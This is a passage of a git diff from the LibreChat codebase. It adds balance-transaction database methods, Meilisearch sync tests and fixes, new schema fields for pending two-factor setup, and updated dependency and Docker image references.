   restoreMocks: true,
   testTimeout: 15000,
 };
diff --git a/packages/data-schemas/package.json b/packages/data-schemas/package.json
index 0c401c5a24..e91bfb8886 100644
--- a/packages/data-schemas/package.json
+++ b/packages/data-schemas/package.json
@@ -1,6 +1,6 @@
 {
   "name": "@librechat/data-schemas",
-  "version": "0.0.36",
+  "version": "0.0.38",
   "description": "Mongoose schemas and models for LibreChat",
   "type": "module",
   "main": "dist/index.cjs",
@@ -50,8 +50,8 @@
     "jest": "^30.2.0",
     "jest-junit": "^16.0.0",
     "mongodb-memory-server": "^10.1.4",
-    "rimraf": "^6.1.2",
-    "rollup": "^4.22.4",
+    "rimraf": "^6.1.3",
+    "rollup": "^4.34.9",
     "rollup-plugin-peer-deps-external": "^2.2.4",
     "rollup-plugin-typescript2": "^0.35.0",
     "ts-node": "^10.9.2",
diff --git a/packages/data-schemas/src/app/interface.ts b/packages/data-schemas/src/app/interface.ts
index f8afdefd33..1701a22fad 100644
--- a/packages/data-schemas/src/app/interface.ts
+++ b/packages/data-schemas/src/app/interface.ts
@@ -55,6 +55,7 @@ export async function loadDefaultInterface({
     fileCitations: interfaceConfig?.fileCitations,
     peoplePicker: interfaceConfig?.peoplePicker,
     marketplace: interfaceConfig?.marketplace,
+    remoteAgents: interfaceConfig?.remoteAgents,
   });
 
   return loadedInterface;
diff --git a/packages/data-schemas/src/methods/index.ts b/packages/data-schemas/src/methods/index.ts
index 2f20b67fec..07e7cefc24 100644
--- a/packages/data-schemas/src/methods/index.ts
+++ b/packages/data-schemas/src/methods/index.ts
@@ -21,6 +21,7 @@ import { createAccessRoleMethods, type AccessRoleMethods } from './accessRole';
 import { createUserGroupMethods, type UserGroupMethods } from './userGroup';
 import { createAclEntryMethods, type AclEntryMethods } from './aclEntry';
 import { createShareMethods, type ShareMethods } from './share';
+import { createTransactionMethods, type TransactionMethods } from './transaction';
 
 export type AllMethods = UserMethods &
   SessionMethods &
@@ -36,7 +37,8 @@ export type AllMethods = UserMethods &
   AclEntryMethods &
   ShareMethods &
   AccessRoleMethods &
-  PluginAuthMethods;
+  PluginAuthMethods &
+  TransactionMethods;
 
 /**
  * Creates all database methods for all collections
@@ -59,6 +61,7 @@ export function createMethods(mongoose: typeof import('mongoose')): AllMethods {
     ...createAclEntryMethods(mongoose),
     ...createShareMethods(mongoose),
     ...createPluginAuthMethods(mongoose),
+    ...createTransactionMethods(mongoose),
   };
 }
 
@@ -78,4 +81,5 @@ export type {
   ShareMethods,
   AccessRoleMethods,
   PluginAuthMethods,
+  TransactionMethods,
 };
diff --git a/packages/data-schemas/src/methods/transaction.ts b/packages/data-schemas/src/methods/transaction.ts
new file mode 100644
index 0000000000..d521b9e85e
--- /dev/null
+++ b/packages/data-schemas/src/methods/transaction.ts
@@ -0,0 +1,100 @@
+import type { IBalance, TransactionData } from '~/types';
+import logger from '~/config/winston';
+
+interface UpdateBalanceParams {
+  user: string;
+  incrementValue: number;
+  setValues?: Partial<Pick<IBalance, 'tokenCredits' | 'lastRefill'>>;
+}
+
+export function createTransactionMethods(mongoose: typeof import('mongoose')) {
+  async function updateBalance({ user, incrementValue, setValues }: UpdateBalanceParams) {
+    const maxRetries = 10;
+    let delay = 50;
+    let lastError: Error | null = null;
+    const Balance = mongoose.models.Balance;
+
+    for (let attempt = 1; attempt <= maxRetries; attempt++) {
+      try {
+        const currentBalanceDoc = await Balance.findOne({ user }).lean<IBalance>();
+        const currentCredits = currentBalanceDoc?.tokenCredits ?? 0;
+        const newCredits = Math.max(0, currentCredits + incrementValue);
+
+        const updatePayload = {
+          $set: {
+            tokenCredits: newCredits,
+            ...(setValues ?? {}),
+          },
+        };
+
+        if (currentBalanceDoc) {
+          const updatedBalance = await Balance.findOneAndUpdate(
+            { user, tokenCredits: currentCredits },
+            updatePayload,
+            { new: true },
+          ).lean();
+
+          if (updatedBalance) {
+            return updatedBalance;
+          }
+          lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`);
+        } else {
+          try {
+            const updatedBalance = await Balance.findOneAndUpdate({ user }, updatePayload, {
+              upsert: true,
+              new: true,
+            }).lean();
+
+            if (updatedBalance) {
+              return updatedBalance;
+            }
+            lastError = new Error(
+              `Upsert race condition suspected for user ${user} on attempt ${attempt}.`,
+            );
+          } catch (error: unknown) {
+            if (
+              error instanceof Error &&
+              'code' in error &&
+              (error as { code: number }).code === 11000
+            ) {
+              lastError = error;
+            } else {
+              throw error;
+            }
+          }
+        }
+      } catch (error) {
+        logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error);
+        lastError = error instanceof Error ? error : new Error(String(error));
+      }
+
+      if (attempt < maxRetries) {
+        const jitter = Math.random() * delay * 0.5;
+        await new Promise((resolve) => setTimeout(resolve, delay + jitter));
+        delay = Math.min(delay * 2, 2000);
+      }
+    }
+
+    logger.error(
+      `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`,
+    );
+    throw (
+      lastError ??
+      new Error(
+        `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`,
+      )
+    );
+  }
+
+  /** Bypasses document middleware; all computed fields must be pre-calculated before calling. */
+  async function bulkInsertTransactions(docs: TransactionData[]): Promise<void> {
+    const Transaction = mongoose.models.Transaction;
+    if (docs.length) {
+      await Transaction.insertMany(docs);
+    }
+  }
+
+  return { updateBalance, bulkInsertTransactions };
+}
+
+export type TransactionMethods = ReturnType<typeof createTransactionMethods>;
diff --git a/packages/data-schemas/src/models/plugins/mongoMeili.spec.ts b/packages/data-schemas/src/models/plugins/mongoMeili.spec.ts
index d988624d13..b1d3e24129 100644
--- a/packages/data-schemas/src/models/plugins/mongoMeili.spec.ts
+++ b/packages/data-schemas/src/models/plugins/mongoMeili.spec.ts
@@ -1016,6 +1016,105 @@ describe('Meilisearch Mongoose plugin', () => {
     });
   });
 
+  describe('processSyncBatch does not modify updatedAt timestamps', () => {
+    test('syncWithMeili preserves original updatedAt on conversations', async () => {
+      const conversationModel = createConversationModel(mongoose) as SchemaWithMeiliMethods;
+      await conversationModel.deleteMany({});
+      mockAddDocumentsInBatches.mockClear();
+
+      const pastDate = new Date('2024-01-15T12:00:00Z');
+
+      // Insert documents with specific updatedAt timestamps using raw collection
+      await conversationModel.collection.insertMany([
+        {
+          conversationId: new mongoose.Types.ObjectId().toString(),
+          user: new mongoose.Types.ObjectId(),
+          title: 'Old Conversation 1',
+          endpoint: EModelEndpoint.openAI,
+          _meiliIndex: false,
+          expiredAt: null,
+          createdAt: pastDate,
+          updatedAt: pastDate,
+        },
+        {
+          conversationId: new mongoose.Types.ObjectId().toString(),
+          user: new mongoose.Types.ObjectId(),
+          title: 'Old Conversation 2',
+          endpoint: EModelEndpoint.openAI,
+          _meiliIndex: false,
+          expiredAt: null,
+          createdAt: pastDate,
+          updatedAt: pastDate,
+        },
+      ]);
+
+      // Verify timestamps before sync
+      const beforeSync = await conversationModel.find({}).lean();
+      for (const doc of beforeSync) {
+        expect(new Date(doc.updatedAt as Date).getTime()).toBe(pastDate.getTime());
+      }
+
+      // Run sync which calls processSyncBatch internally
+      await conversationModel.syncWithMeili();
+
+      // Verify _meiliIndex was updated
+      const indexedCount = await conversationModel.countDocuments({ _meiliIndex: true });
+      expect(indexedCount).toBe(2);
+
+      // Verify updatedAt was NOT modified
+      const afterSync = await conversationModel.find({}).lean();
+      for (const doc of afterSync) {
+        expect(new Date(doc.updatedAt as Date).getTime()).toBe(pastDate.getTime());
+      }
+    });
+
+    test('syncWithMeili preserves original updatedAt on messages', async () => {
+      const messageModel = createMessageModel(mongoose) as SchemaWithMeiliMethods;
+      await messageModel.deleteMany({});
+      mockAddDocumentsInBatches.mockClear();
+
+      const pastDate = new Date('2023-06-01T08:30:00Z');
+
+      await messageModel.collection.insertMany([
+        {
+          messageId: new mongoose.Types.ObjectId().toString(),
+          conversationId: new mongoose.Types.ObjectId().toString(),
+          user: new mongoose.Types.ObjectId(),
+          isCreatedByUser: true,
+          _meiliIndex: false,
+          expiredAt: null,
+          createdAt: pastDate,
+          updatedAt: pastDate,
+        },
+        {
+          messageId: new mongoose.Types.ObjectId().toString(),
+          conversationId: new mongoose.Types.ObjectId().toString(),
+          user: new mongoose.Types.ObjectId(),
+          isCreatedByUser: false,
+          _meiliIndex: false,
+          expiredAt: null,
+          createdAt: pastDate,
+          updatedAt: pastDate,
+        },
+      ]);
+
+      const beforeSync = await messageModel.find({}).lean();
+      for (const doc of beforeSync) {
+        expect(new Date(doc.updatedAt as Date).getTime()).toBe(pastDate.getTime());
+      }
+
+      await messageModel.syncWithMeili();
+
+      const indexedCount = await messageModel.countDocuments({ _meiliIndex: true });
+      expect(indexedCount).toBe(2);
+
+      const afterSync = await messageModel.find({}).lean();
+      for (const doc of afterSync) {
+        expect(new Date(doc.updatedAt as Date).getTime()).toBe(pastDate.getTime());
+      }
+    });
+  });
+
   describe('Missing _meiliIndex property handling in sync process', () => {
     test('syncWithMeili includes documents with missing _meiliIndex', async () => {
       const conversationModel = createConversationModel(mongoose) as SchemaWithMeiliMethods;
diff --git a/packages/data-schemas/src/models/plugins/mongoMeili.ts b/packages/data-schemas/src/models/plugins/mongoMeili.ts
index 1cbe0d8761..cc01dbb6c7 100644
--- a/packages/data-schemas/src/models/plugins/mongoMeili.ts
+++ b/packages/data-schemas/src/models/plugins/mongoMeili.ts
@@ -1,7 +1,7 @@
 import _ from 'lodash';
-import { MeiliSearch } from 'meilisearch';
 import { parseTextParts } from 'librechat-data-provider';
-import type { SearchResponse, SearchParams, Index } from 'meilisearch';
+import { MeiliSearch, MeiliSearchTimeOutError } from 'meilisearch';
+import type { SearchResponse, SearchParams, Index, MeiliSearchErrorInfo } from 'meilisearch';
 import type {
   CallbackWithoutResultAndOptionalError,
   FilterQuery,
@@ -257,9 +257,15 @@ const createMeiliMongooseModel = ({
         // Add documents to MeiliSearch
         await index.addDocumentsInBatches(formattedDocs);
 
-        // Update MongoDB to mark documents as indexed
+        // Update MongoDB to mark documents as indexed.
+        // { timestamps: false } prevents Mongoose from touching updatedAt, preserving
+        // original conversation/message timestamps (fixes sidebar chronological sort).
         const docsIds = documents.map((doc) => doc._id);
-        await this.updateMany({ _id: { $in: docsIds } }, { $set: { _meiliIndex: true } });
+        await this.updateMany(
+          { _id: { $in: docsIds } },
+          { $set: { _meiliIndex: true } },
+          { timestamps: false },
+        );
       } catch (error) {
         logger.error('[processSyncBatch] Error processing batch:', error);
         throw error;
@@ -575,7 +581,6 @@ export default function mongoMeili(schema: Schema, options: MongoMeiliOptions):
   /** Create index only if it doesn't exist */
   const index = client.index<MeiliIndexable>(indexName);
 
-  // Check if index exists and create if needed
   (async () => {
     try {
       await index.getRawInfo();
@@ -585,18 +590,34 @@ export default function mongoMeili(schema: Schema, options: MongoMeiliOptions):
       if (errorCode === 'index_not_found') {
         try {
           logger.info(`[mongoMeili] Creating new index: ${indexName}`);
-          await client.createIndex(indexName, { primaryKey });
-          logger.info(`[mongoMeili] Successfully created index: ${indexName}`);
+          const enqueued = await client.createIndex(indexName, { primaryKey });
+          const task = await client.waitForTask(enqueued.taskUid, {
+            timeOutMs: 10000,
+            intervalMs: 100,
+          });
+          logger.debug(`[mongoMeili] Index ${indexName} creation task:`, task);
+          if (task.status !== 'succeeded') {
+            const taskError = task.error as MeiliSearchErrorInfo | null;
+            if (taskError?.code === 'index_already_exists') {
+              logger.debug(`[mongoMeili] Index ${indexName} was created by another instance`);
+            } else {
+              logger.warn(`[mongoMeili] Index ${indexName} creation failed:`, taskError);
+            }
+          } else {
+            logger.info(`[mongoMeili] Successfully created index: ${indexName}`);
+          }
         } catch (createError) {
-          // Index might have been created by another instance
-          logger.debug(`[mongoMeili] Index ${indexName} may already exist:`, createError);
+          if (createError instanceof MeiliSearchTimeOutError) {
+            logger.warn(`[mongoMeili] Timed out waiting for index ${indexName} creation`);
+          } else {
+            logger.warn(`[mongoMeili] Error creating index ${indexName}:`, createError);
+          }
         }
       } else {
         logger.error(`[mongoMeili] Error checking index ${indexName}:`, error);
       }
     }
 
-    // Configure index settings to make 'user' field filterable
     try {
       await index.updateSettings({
         filterableAttributes: ['user'],
diff --git a/packages/data-schemas/src/schema/defaults.ts b/packages/data-schemas/src/schema/defaults.ts
index 33af668384..9b50bceb1d 100644
--- a/packages/data-schemas/src/schema/defaults.ts
+++ b/packages/data-schemas/src/schema/defaults.ts
@@ -83,6 +83,9 @@ export const conversationPreset = {
   thinkingBudget: {
     type: Number,
   },
+  thinkingLevel: {
+    type: String,
+  },
   effort: {
     type: String,
   },
diff --git a/packages/data-schemas/src/schema/transaction.ts b/packages/data-schemas/src/schema/transaction.ts
index 6377db6d6c..6faf684b12 100644
--- a/packages/data-schemas/src/schema/transaction.ts
+++ b/packages/data-schemas/src/schema/transaction.ts
@@ -14,6 +14,7 @@ export interface ITransaction extends Document {
   inputTokens?: number;
   writeTokens?: number;
   readTokens?: number;
+  messageId?: string;
   createdAt?: Date;
   updatedAt?: Date;
 }
@@ -52,6 +53,7 @@ const transactionSchema: Schema<ITransaction> = new Schema(
     inputTokens: { type: Number },
     writeTokens: { type: Number },
     readTokens: { type: Number },
+    messageId: { type: String },
   },
   {
     timestamps: true,
diff --git a/packages/data-schemas/src/schema/user.ts b/packages/data-schemas/src/schema/user.ts
index c2bdc6fd34..57c8f8574e 100644
--- a/packages/data-schemas/src/schema/user.ts
+++ b/packages/data-schemas/src/schema/user.ts
@@ -121,6 +121,15 @@ const userSchema = new Schema<IUser>(
       type: [BackupCodeSchema],
       select: false,
     },
+    pendingTotpSecret: {
+      type: String,
+      select: false,
+    },
+    pendingBackupCodes: {
+      type: [BackupCodeSchema],
+      select: false,
+      default: undefined,
+    },
     refreshToken: {
       type: [SessionSchema],
     },
diff --git a/packages/data-schemas/src/types/index.ts b/packages/data-schemas/src/types/index.ts
index 38f9f22b50..d467d99d21 100644
--- a/packages/data-schemas/src/types/index.ts
+++ b/packages/data-schemas/src/types/index.ts
@@ -8,6 +8,7 @@ export * from './convo';
 export * from './session';
 export * from './balance';
 export * from './banner';
+export * from './transaction';
 export * from './message';
 export * from './agent';
 export * from './agentApiKey';
diff --git a/packages/data-schemas/src/types/transaction.ts b/packages/data-schemas/src/types/transaction.ts
new file mode 100644
index 0000000000..978d7fd62b
--- /dev/null
+++ b/packages/data-schemas/src/types/transaction.ts
@@ -0,0 +1,17 @@
+export interface TransactionData {
+  user: string;
+  conversationId: string;
+  tokenType: string;
+  model?: string;
+  context?: string;
+  valueKey?: string;
+  rate?: number;
+  rawAmount?: number;
+  tokenValue?: number;
+  inputTokens?: number;
+  writeTokens?: number;
+  readTokens?: number;
+  messageId?: string;
+  inputTokenCount?: number;
+  rateDetail?: Record<string, number>;
+}
diff --git a/packages/data-schemas/src/types/user.ts b/packages/data-schemas/src/types/user.ts
index a78c4679f2..e1cecb7518 100644
--- a/packages/data-schemas/src/types/user.ts
+++ b/packages/data-schemas/src/types/user.ts
@@ -26,6 +26,12 @@ export interface IUser extends Document {
     used: boolean;
     usedAt?: Date | null;
   }>;
+  pendingTotpSecret?: string;
+  pendingBackupCodes?: Array<{
+    codeHash: string;
+    used: boolean;
+    usedAt?: Date | null;
+  }>;
   refreshToken?: Array<{
     refreshToken: string;
   }>;
diff --git a/packages/data-schemas/src/utils/transactions.ts b/packages/data-schemas/src/utils/transactions.ts
index 09bbb040c1..26f1f77e7e 100644
--- a/packages/data-schemas/src/utils/transactions.ts
+++ b/packages/data-schemas/src/utils/transactions.ts
@@ -1,5 +1,7 @@
 import logger from '~/config/winston';
 
+export const CANCEL_RATE = 1.15;
+
 /**
  * Checks if the connected MongoDB deployment supports transactions
  * This requires a MongoDB replica set configuration
diff --git a/rag.yml b/rag.yml
index 9eef8d5a05..9684d76cf5 100644
--- a/rag.yml
+++ b/rag.yml
@@ -13,7 +13,7 @@ services:
       - "5433:5432"
 
   rag_api:
-    image: ghcr.io/danny-avila/librechat-rag-api-dev:latest
+    image: registry.librechat.ai/danny-avila/librechat-rag-api-dev:latest
     environment:
       - DB_HOST=vectordb
       - DB_PORT=5432
diff --git a/utils/docker/test-compose.yml b/utils/docker/test-compose.yml
index 4f9f48c7d3..31a7f63418 100644
--- a/utils/docker/test-compose.yml
+++ b/utils/docker/test-compose.yml
@@ -50,7 +50,7 @@ services:
     volumes:
       - pgdata2:/var/lib/postgresql/data
   rag_api:
-    image: ghcr.io/danny-avila/librechat-rag-api-dev-lite:latest
+    image: registry.librechat.ai/danny-avila/librechat-rag-api-dev-lite:latest
     environment:
       - DB_HOST=vectordb
       - RAG_PORT=${RAG_PORT:-8000}